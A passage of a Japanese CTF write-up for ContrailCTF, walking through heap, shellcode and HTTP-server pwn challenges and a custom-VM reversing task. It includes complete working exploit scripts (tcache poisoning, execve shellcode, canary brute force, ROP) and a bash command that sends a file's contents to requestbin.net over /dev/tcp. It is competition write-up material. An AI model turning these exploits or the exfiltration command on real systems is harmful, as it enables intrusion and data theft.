[*] '/media/sf_VMShare/CTF/ContrailCTF/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
解法
名前の通りheap問です。double-freeとuse-after-freeの脆弱性があり、glibc2.7なのでtcache-poisoningも刺さります。また、read_dataに境界外読み取りの脆弱性があり、任意のアドレスからデータを読み出すことができます。
write_dataを4回呼び出すとプログラムが終了するようになっており、限られた4回の中で如何に攻略するかというパズル的な要素がある問題です。
まず、1回目のwrite_dataの後、以下の手順でlibcのベースアドレスを割り出します
- mallocしたチャンクをdouble-freeし、tcacheを循環させる
1.
でfreeしたチャンクをread_dataで読み出し(use-after-free)、heapのアドレスを割り出す
2.
のアドレスからバイナリが配置されているアドレスが分かるので、GOTのアドレスも割り出せる。read_dataでGOTからlibc関数のアドレスを読み出しlibcのベースアドレスを割り出す
後は残りの3回でtcache-poisoningを引き起こし、exit内でジャンプするアドレス(_rtld_global+3840
)をone-gadget rceのアドレスに書き換えます。実行すると4回目のwrite_data終了後にシェルが起動します。
from pwn import *
LOCAL = sys.argv[1] == "local"
if LOCAL:
p = process("./babyheap")
else:
p = connect("114.177.250.4", 2223)
def write_data(size, data):
resp = p.recvuntil("\n>")
p.sendline("1")
resp += p.recvuntil("size :")
p.sendline(str(size))
resp += p.recvuntil("data :")
p.sendline(data)
return resp
def read_data(index):
resp = p.recvuntil("\n>")
p.sendline("2")
resp += p.recvuntil("index :")
p.sendline(str(index))
resp += p.recvuntil("1. write data")
return resp
def parse_read_data(resp):
return resp.split("index :")[1].split("1. write data")[0]
def free_data(index):
resp = p.recvuntil("\n>")
p.sendline("3")
resp += p.recvuntil("index :")
p.sendline(str(index))
resp += p.recvuntil("1. write data")
return resp
free_got_ptr = 0x400560
free_got = 0x602018
libc_free_ofs = 0x97950
libc_one_gadget_ofs = 0x4F322
libc_jump_ofs = 0x619F68
if __name__ == "__main__":
write_data(8, "DUMMY")
free_data(0)
free_data(0)
chunk_addr_bytes = parse_read_data(read_data(0))
if len(chunk_addr_bytes) < 8:
chunk_addr_bytes += "\x00\x00\x00\x02\x00\x00\x00\x00"[len(chunk_addr_bytes) :]
chunk_addr = u64(chunk_addr_bytes) - 0x2020
free_got_index = (free_got_ptr // 8) - (chunk_addr // 8)
free_addr_bytes = parse_read_data(read_data(free_got_index))[:8]
if len(free_addr_bytes) < 8:
free_addr_bytes += "\x00" * (8 - len(free_addr_bytes))
free_addr = u64(free_addr_bytes)
libc_base = free_addr - libc_free_ofs
one_gadget_addr = libc_base + libc_one_gadget_ofs
exit_jump_addr = libc_base + libc_jump_ofs
write_data(8, p64(exit_jump_addr))
write_data(8, "DUMMY")
write_data(8, p64(one_gadget_addr))
p.interactive()
カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。
$ ls
babyheap
bin
dev
flag
lib
lib32
lib64
$ cat flag
ctrctf{y0u_und3r5t00d_ab0ut_h34p}
今まで本番でheap問が解けたことがなかったのでかなり達成感がありました。
[pwn] EasyShellcode (100pts)
問題
Can you craft a shellcode?
nc 114.177.250.4 2210
author Maru/douro
problem
(ELF 64bit)が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/EasyShellcode$ checksec problem
[*] '/media/sf_VMShare/CTF/ContrailCTF/EasyShellcode/problem'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
解法
入力したデータをそのままシェルコードとして実行してくれるバイナリです。ただし、データの大きさが20bytesまでとなっており、どうにかして短くする必要があります。
rax
以外のレジスタは全て0が設定されています。これを利用し、mov
の代わりにlea
を使用して値をセットすることで若干短く書くことができます。試行錯誤して何とか20bytesちょうどの長さのシェルコードができました。
0: 48 8b 00 mov rax,QWORD PTR [rax]
3: 48 8d 78 0d lea rdi,[rax+0xd]
7: 48 8d 42 3b lea rax,[rdx+0x3b]
b: 0f 05 syscall
d: 2f 62 69 6e 2f 73 68 "/bin/sh"
実行するとシェルが起動します。
from pwn import *
LOCAL = sys.argv[1] == "local"
if LOCAL:
p = process("./problem")
else:
p = connect("114.177.250.4", 2210)
shellcode = "\x48\x8B\x00\x48\x8D\x78\x0D\x48\x8D\x42\x3B\x0F\x05/bin/sh"
print("length: %d" % len(shellcode))
p.sendline(shellcode)
p.interactive()
カレントディレクトリにflagがあるので読み出してflag取得。
$ ls
bin
dev
flag
lib
lib32
lib64
problem
$ cat flag
ctrctf{Tw0_3t4g3_s311c0d3}
[pwn] instant_httpserver (304pts)
問題
I've wrote super minimal httpserver.
author douro
http://114.177.250.4:4445
instant_httpserver
(ELF 64bit)とlibc.so.6
が配布されます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ checksec instant_httpserver
[*] '/media/sf_VMShare/CTF/ContrailCTF/instant_httpserver/instant_httpserver'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
解法
HTTPサーバとして動作するバイナリです。HTTPリクエストをreadする処理にスタックバッファオーバーフローの脆弱性があります。しかし、スタック保護が有効になっているので単純にオーバーフローさせても制御を奪うことはできません。
このバイナリでは、接続ごとに親プロセスをforkするようになっているため、毎回canaryの値と、ASLR、PIEの配置が同じになります。これを利用して、バッファオーバーフローでcanaryの末尾やリターンアドレスの末尾の値を書き換えつつ、正解の値が見つかるまで線形探索することで1byteずつ値を特定することができます。
以下のスクリプトでcanaryの値とバイナリの配置アドレスを割り出すことができます。
from pwn import *
from retrying import retry
LOCAL = sys.argv[1] == "local"
if LOCAL:
get_p = lambda: connect("127.0.0.1", 4445)
else:
get_p = lambda: connect("114.177.250.4", 4445)
canary_ofs = 520
canary = ""
call_again_addr_ofs = 0x100DC5
call_again_addr_bytes = p64(call_again_addr_ofs)[:1]
@retry(stop_max_attempt_number=10)
def try_canary(c):
p = get_p()
padding = "A" * canary_ofs
p.send(padding + canary + chr(c))
resp = p.recvall()
is_smash_detected = "<br /><br /><hr><I>instant_httpserver" not in resp
return not is_smash_detected
@retry(stop_max_attempt_number=10)
def try_binary_addr(c):
p = get_p()
payload = "A" * canary_ofs
payload += canary
payload += "B" * 8
payload += call_again_addr_bytes + chr(c)
p.send(payload)
resp = p.recvuntil("<html>Your Req Length is 520")
p.sendline("DUMMY")
resp += p.recvall()
cnt = resp.count("<html>Your Req Length is")
if cnt == 1:
return False
elif cnt == 2:
return True
else:
raise
if __name__ == "__main__":
if canary == "":
for i in range(8):
for c in range(256):
if try_canary(c):
print("byte detected!")
canary += chr(c)
print(repr(canary))
break
print("canary detected!")
while len(call_again_addr_bytes) < 8:
for c in range(256):
if try_binary_addr(c):
print("byte detected!")
call_again_addr_bytes += chr(c)
print(repr(call_again_addr_bytes))
break
binary_base = u64(call_again_addr_bytes) - call_again_addr_ofs
print("binary base detected!")
print("canary: %s" % repr(canary))
print("binary_base: %s" % repr(p64(binary_base)))
実行すると以下のような値がleakされました。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ python canary_detector.py remote
...
canary: '\x00\xab*\xe0\xacGM\xd2'
binary_base: '\x00 \xff\x89\x15V\x00\x00'
後はこの値を用いてROPし、flagを読み出します。ただし、この問題の場合、直接標準入出力と繋がっているわけではないため、ROPでシェルを直接起動すると操作を受け付けなくなってしまいます。そのため、flagを読み出してrequestbinに送信するシェルコマンドをsystem関数に渡し、flagの値はrequestbinで受け取るようにしています。
from pwn import *
from retrying import retry
import time
LOCAL = sys.argv[1] == "local"
if LOCAL:
get_p = lambda: connect("127.0.0.1", 4445)
canary = 0xBE9E6691055FAC00
binary_base = 0x555555457000
else:
get_p = lambda: connect("114.177.250.4", 4445)
canary = u64("\x00\xab*\xe0\xacGM\xd2")
binary_base = u64("\x00 \xff\x89\x15V\x00\x00")
canary_ofs = 520
write_got_ofs = 0x301F58
write_plt_ofs = 0x1008C0
read_plt_ofs = 0x100920
pop_rdi_ofs = 0x100E93
pop_rsi_r15_ofs = 0x100E91
libc_write_ofs = 0x110140
libc_system_ofs = 0x4F440
libc_writable_ofs = 0x302000
libc_pop_rdx_ofs = 0x1B96
def leak_libc_base():
p = get_p()
payload = "A" * canary_ofs
payload += p64(canary)
payload += "B" * 8
payload += p64(binary_base + pop_rdi_ofs)
payload += p64(0x4)
payload += p64(binary_base + pop_rsi_r15_ofs)
payload += p64(binary_base + write_got_ofs)
payload += p64(0x0)
payload += p64(binary_base + write_plt_ofs)
p.send(payload)
resp = p.recvall()
write_addr_bytes = resp.split("<html>Your Req Length is 520")[1][:8]
write_addr = u64(write_addr_bytes)
libc_base = write_addr - libc_write_ofs
return libc_base
def exec_shell_cmd(libc_base, system_cmd):
system_addr = libc_base + libc_system_ofs
p = get_p()
payload = "A" * canary_ofs
payload += p64(canary)
payload += "B" * 8
payload += p64(binary_base + pop_rdi_ofs)
payload += p64(0x4)
payload += p64(binary_base + pop_rsi_r15_ofs)
payload += p64(binary_base + libc_writable_ofs)
payload += p64(0x0)
payload += p64(libc_base + libc_pop_rdx_ofs)
payload += p64(len(system_cmd))
payload += p64(binary_base + read_plt_ofs)
payload += p64(binary_base + pop_rdi_ofs)
payload += p64(binary_base + libc_writable_ofs)
payload += p64(binary_base + pop_rsi_r15_ofs)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(libc_base + libc_pop_rdx_ofs)
payload += p64(0x0)
payload += p64(libc_base + libc_system_ofs)
p.send(payload)
time.sleep(0.2)
p.send(system_cmd)
return p.recvall()
if __name__ == "__main__":
libc_base = leak_libc_base()
time.sleep(0.5)
cmd = "cat flag"
request = (
"GET /r/1ike0ej1?'$(" + cmd + " | base64)' HTTP/1.1\n"
"Host: requestbin.net\n\n"
)
bash_cmd = "echo -e '" + request + "' > /dev/tcp/requestbin.net/80"
system_cmd = 'bash -c "' + bash_cmd + '"\x00'
exec_shell_cmd(libc_base, system_cmd)
実行すると、requestbinにbase64エンコードされた文字列が送られてきます。

デコードしてflagを取得。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ echo -n 'Y3RyY3Rme2g0cHB5aDRwcHlyNG5kMG0xejN9Cg==' | base64 -d
ctrctf{h4ppyh4ppyr4nd0m1z3}
[rev] MyInstructions (496pts)
問題
I was going to develop a flag validation program, but x86_64 programs are easily analyzed by IDA, Ghidra, and so on. So I defined new instruction set in the program and used it for flag validation. Can you still analyze this program and find the flag?
https://www.dropbox.com/s/47gaurjmvsdrrr2/my_instructions?dl=0
author Ciruela
my_instructions
(ELF 64bit)が配布されます。
解法
残念ながら競技時間中に解けなかった問題です。
バイナリはVMとして動作するようになっています。標準入力から受け取った32bytesの文字列を4bytes毎に区切り、それぞれの値をレジスタ(r0〜r7)にセットして初期状態を決定します。
VM上で実行される命令列は固定されており、プログラム終了時のレジスタ(r0〜r7)の値が全て0になっていれば正しい入力値であると判定するものになっています。命令列をx86風に書き出してみると以下のようになります。
000: 11 '\x11\x08h4nd' mov r8,68346e64
006: 24 '$\x00\x08' xor r0,r8
009: 11 '\x11\t_m4d' mov r9,5f6d3464
00f: 24 '$\x01\t' xor r1,r9
012: 24 '$\t\t' xor r9,r9
015: 11 '\x11\n\xcc\xa0\x8c\xde' mov ra,cca08cde
01b: 30 '0\n' flip ra
01d: 24 '$\x02\n' xor r2,ra
020: 11 '\x11\x0b\x05D_W' mov rb,05445f57
026: 24 '$\x0b\x08' xor rb,r8
029: 24 '$\x03\x0b' xor r3,rb
02c: 11 '\x11\x08cont' mov r8,636f6e74
032: 10 '\x10\t\x04' mov r9,r4
035: 20 ' \x04\x08' and r4,r8
038: 22 '"\t\x08' or r9,r8
03b: 25 '%\x04CFLT' xor r4,43464c54
041: 25 '%\t\x7f\x7fo\x7f' xor r9,7f7f6f7f
047: 22 '"\x04\t' or r4,r9
04a: 11 '\x11\x08rail' mov r8,7261696c
050: 10 '\x10\t\x05' mov r9,r5
053: 30 '0\x05' flip r5
055: 20 ' \x05\x08' and r5,r8
058: 25 '%\tctf!' xor r9,63746621
05e: 22 '"\t\x08' or r9,r8
061: 25 '%\x05\x10@I\x08' xor r5,10404908
067: 25 '%\twe{n' xor r9,77657b6e
06d: 22 '"\x05\t' or r5,r9
070: 61 'a\x05\x00\x00\x00\x00' cmp r5,00000000
076: 47 'G\x82\x00\x00\x00' je 82000000
07b: 11 '\x11\x00\x01\x00\x00\x00' mov r0,01000000
081: ff '\xff' fin
082: 11 '\x11\x08\x1d\xfb\x03\x00' mov r8,1dfb0300
088: 11 '\x11\t\xd6\x03\x00\x00' mov r9,d6030000
08e: 52 'R\x06\x08' sub r6,r8
091: 53 'S\t\x01\x00\x00\x00' sub r9,01000000
097: 61 'a\t\x00\x00\x00\x00' cmp r9,00000000
09d: 49 'I\x8e\x00\x00\x00' je 8e000000
0a2: 25 '%\x06!"#$' xor r6,21222324
0a8: 11 '\x11\x081ov3' mov r8,316f7633
0ae: 10 '\x10\t\x08' mov r9,r8
0b1: 24 '$\n\n' xor ra,ra
0b4: 24 '$\x07\x08' xor r7,r8
0b7: 50 'P\x08\t' add r8,r9
0ba: 60 '`\x08\n' cmp r8,ra
0bd: 43 'C\xb4\x00\x00\x00' je b4000000
0c2: 11 '\x11\x08d\x00\x00\x00' mov r8,64000000
0c8: 11 '\x11\t\x00\x00\x00\x00' mov r9,00000000
0ce: 11 '\x11\n\x01\x00\x00\x00' mov ra,01000000
0d4: 11 '\x11\x0b\x03\x00\x00\x00' mov rb,03000000
0da: 11 '\x11\x0c\x05\x00\x00\x00' mov rc,05000000
0e0: 11 '\x11\r\x07\x00\x00\x00' mov rd,07000000
0e6: 52 'R\x0b\n' sub rb,ra
0e9: 52 'R\x0c\n' sub rc,ra
0ec: 52 'R\r\n' sub rd,ra
0ef: 60 '`\x0b\t' cmp rb,r9
0f2: 49 'I\x03\x01\x00\x00' je 03010000
0f7: 11 '\x11\x0b\x03\x00\x00\x00' mov rb,03000000
0fd: 51 'Q\x07V4\x12\x00' add r7,56341200
103: 60 '`\x0c\t' cmp rc,r9
106: 49 'I\x17\x01\x00\x00' je 17010000
10b: 11 '\x11\x0c\x05\x00\x00\x00' mov rc,05000000
111: 53 'S\x073"\x11\x00' sub r7,33221100
117: 60 '`\r\t' cmp rd,r9
11a: 49 'I+\x01\x00\x00' je 2b010000
11f: 11 '\x11\r\x07\x00\x00\x00' mov rd,07000000
125: 53 'S\x07!Ce\x00' sub r7,21436500
12b: 52 'R\x08\n' sub r8,ra
12e: 60 '`\x08\t' cmp r8,r9
131: 43 'C\xe6\x00\x00\x00' je e6000000
136: 25 '%\x07\xb8\xf5\x18x' xor r7,b8f51878
13c: 24 '$\x00\x01' xor r0,r1
13f: 24 '$\x00\x02' xor r0,r2
142: 24 '$\x00\x03' xor r0,r3
145: 24 '$\x00\x04' xor r0,r4
148: 24 '$\x00\x05' xor r0,r5
14b: 24 '$\x00\x06' xor r0,r6
14e: 24 '$\x00\x07' xor r0,r7
151: ff '\xff' fin
さらに、これをシミュレートするpythonスクリプトを書くと以下のようになります。
from pwn import *
import sys
r0 = r1 = r2 = r3 = r4 = r5 = r6 = r7 = r8 = r9 = ra = rb = rc = rd = 0
input_data = sys.argv[1]
r0 = u32(input_data[0*0:1*4])
r1 = u32(input_data[1*4:2*4])
r2 = u32(input_data[2*4:3*4])
r3 = u32(input_data[3*4:4*4])
r4 = u32(input_data[4*4:5*4])
r5 = u32(input_data[5*4:6*4])
r6 = u32(input_data[6*4:7*4])
r7 = u32(input_data[7*4:8*4])
r8 = u32("h4nd")
r0 ^= r8
r9 = u32("_m4d")
r1 ^= r9
r9 ^= r9
ra = u32("\xcc\xa0\x8c\xde")
ra ^= 0xFFFFFFFF
r2 ^= ra
rb = u32("\x05D_W")
rb ^= r8
r3 ^= rb
r8 = u32("cont")
r9 = r4
r4 &= r8
r9 |= r8
r4 ^= u32("CFLT")
r9 ^= u32("\x7f\x7fo\x7f")
r4 |= r9
r8 = u32("rail")
r9 = r5
r5 ^= 0xFFFFFFFF
r5 &= r8
r9 ^= u32("ctf!")
r9 |= r8
r5 ^= u32("\x10@I\x08")
r9 ^= u32("we{n")
r5 |= r9
r8 = u32("\x1d\xfb\x03\x00")
r9 = u32("\xd6\x03\x00\x00")
while r9 > 0:
r6 -= r8
r9 -= u32("\x01\x00\x00\x00")
r6 ^= u32('!"#$')
r8 = u32("1ov3")
r9 = r8
ra = 0
while r8 < 0x80000000:
r7 ^= r8
r8 = (r8 + r9) & 0xFFFFFFFF
r8 = 100
r9 = 0
ra = 1
rb = 3
rc = 5
rd = 7
while r8 != 0:
rb -= 1
rc -= 1
rd -= 1
if rb == 0:
rb = 3
r7 += u32("V4\x12\x00")
if rc == 0:
rc = 5
r7 -= u32('3"\x11\x00')
if rd == 0:
rd = 7
r7 -= u32("!Ce\x00")
r8 -= 1
r7 ^= u32("\xb8\xf5\x18x")
r0 ^= r1
r0 ^= r2
r0 ^= r3
r0 ^= r4
r0 ^= r5
r0 ^= r6
r0 ^= r7
assert r0 == 0
r0
, r1
はそのまま値をセットしているだけですが、後半のレジスタになるにつれてロジックが複雑になっていきます。特に難しいのは最後のr7
で、値を繰り返し加算していき、整数オーバーフローしたら終了する、といった割とややこしい条件分岐やループなどが出てきます。頑張って読み解くと、減算の値やXORの値が一意に定まることが分かります。それぞれのレジスタの条件を割り出してz3で解きます。
from z3 import *
from pwn import *
s = Solver()
r = [BitVec('r%x' % i, 32) for i in range(8)]
s.add(r[0x0] == u32('h4nd'))
s.add(r[0x1] == u32('_m4d'))
s.add(r[0x2] == (u32('\xcc\xa0\x8c\xde') ^ 0xffffffff))
s.add(r[0x3] == u32('\x05D_W') ^ u32('h4nd'))
s.add([
r[0x4] & u32('cont') == u32('CFLT'),
r[0x4] | u32('cont') == u32('\x7f\x7fo\x7f'),
])
s.add([
(r[0x5] ^ 0xffffffff) & u32('rail') == u32('\x10@I\x08'),
(r[0x5] ^ u32('ctf!')) | u32('rail') == u32('we{n'),
])
s.add([
(r[0x6] - (u32('\x1d\xfb\x03\x00') * u32('\xd6\x03\x00\x00'))) == u32('!"#$'),
])
s.add([
((r[0x7] ^ 0x559ab153) - 0x48798b4) == u32('\xb8\xf5\x18x')
])
if s.check() == sat:
m = s.model()
res = b''
for reg in r:
v = m.evaluate(reg)
try:
res += p32(v.as_long())
except Exception as e:
res += b'????'
print(res)
実行すると全てのレジスタについて解が一意に求まります。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ python solve.py
h4nd_m4d3_s!mp13_VM_f14g_ch3??:)
後は、my_instructions
を実行して正解の文字列を入力すればflagを取得することができます。
ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ ./my_instructions
Input the inside string of ctrctf{} ->h4nd_m4d3_s!mp13_VM_f14g_ch3??:)
Congratulations! You understood all of my instruction set! The flag is ctrctf{h4nd_m4d3_s!mp13_VM_f14g_ch3??:)}
競技時間中r7
の処理を読むのが中々にしんどく、r7
だけならブルートフォースできるのでは?と思いブルートフォースを始めてしまったのですが、残念ながら成果はありませんでした。
おわりに
正月休みの暇つぶしくらいの気持ちで始めたのですが、振り返ってみれば正月はContrailCTF以外何もやっていないという感じになっていました。どの問題も良問かつ本格的で大変楽しませていただきました。全体的にエスパー要素がなかったのがとても良かったです。
Contrailの皆さま、ありがとうございました。